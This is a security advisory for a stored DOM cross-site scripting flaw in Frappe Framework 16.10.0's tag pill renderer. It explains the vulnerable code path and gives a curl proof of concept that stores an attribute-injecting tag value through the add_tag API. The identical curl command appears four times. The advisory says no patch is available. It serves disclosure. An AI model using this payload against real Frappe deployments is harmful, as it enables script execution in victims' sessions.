Frappe Framework 16.10.0 - Stored DOM XSS in Tag Pill Renderer

Description

An authenticated attacker can store a crafted tag value in _user_tags and trigger JavaScript execution when a victim opens the list/report view where tags are rendered. The vulnerable renderer interpolates tag content into HTML attributes and element content without escaping.

Vulnerability

The vulnerable path is:

1. Source: attacker-controlled tag value via frappe.desk.doctype.tag.tag.add_tag.

2. Persistence: _user_tags stores comma-separated tags.

3. Sink builder: ListView.get_tags_html renders:

• title="${tag}"

• ${tag} in inner HTML without escaping.

4. DOM insertion: rendered row HTML is inserted in list/report view, enabling attribute injection (e.g., onmouseover).

PoC

curl -s -X POST 'http://localhost:18080/api/method/frappe.desk.doctype.tag.tag.add_tag' \
-b /tmp/frappe.cookies \
--data-urlencode 'tag=xss" onmouseover="alert(7171)" z="' \
--data-urlencode 'dt=XSS Parent' \
--data-urlencode 'dn=p48ru7k4hg'

curl -s -X POST 'http://localhost:18080/api/method/frappe.desk.doctype.tag.tag.add_tag' \
-b /tmp/frappe.cookies \
--data-urlencode 'tag=xss" onmouseover="alert(7171)" z="' \
--data-urlencode 'dt=XSS Parent' \
--data-urlencode 'dn=p48ru7k4hg'

curl -s -X POST 'http://localhost:18080/api/method/frappe.desk.doctype.tag.tag.add_tag' \
-b /tmp/frappe.cookies \
--data-urlencode 'tag=xss" onmouseover="alert(7171)" z="' \
--data-urlencode 'dt=XSS Parent' \
--data-urlencode 'dn=p48ru7k4hg'

curl -s -X POST 'http://localhost:18080/api/method/frappe.desk.doctype.tag.tag.add_tag' \
-b /tmp/frappe.cookies \
--data-urlencode 'tag=xss" onmouseover="alert(7171)" z="' \
--data-urlencode 'dt=XSS Parent' \
--data-urlencode 'dn=p48ru7k4hg'

1. Visit:

• http://localhost:18080/app/xss-parent/view/report

2. Enable Show Tags In list settings, if hidden

3. Move the cursor over the malicious tag pill

Evidence of Exploitation

1. Video of exploitation

   

2. Static evidence

   

Our security policy

We have reserved the ID CVE-2026-3673 to refer to this issue from now on.

Disclosure policy

System Information

• Frappe

• Version: 16.10.0

• Operating System: Any

References

• Github Repository: https://github.com/frappe/frappe

• Security: https://github.com/frappe/frappe/security

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team using the AI SAST Scanner.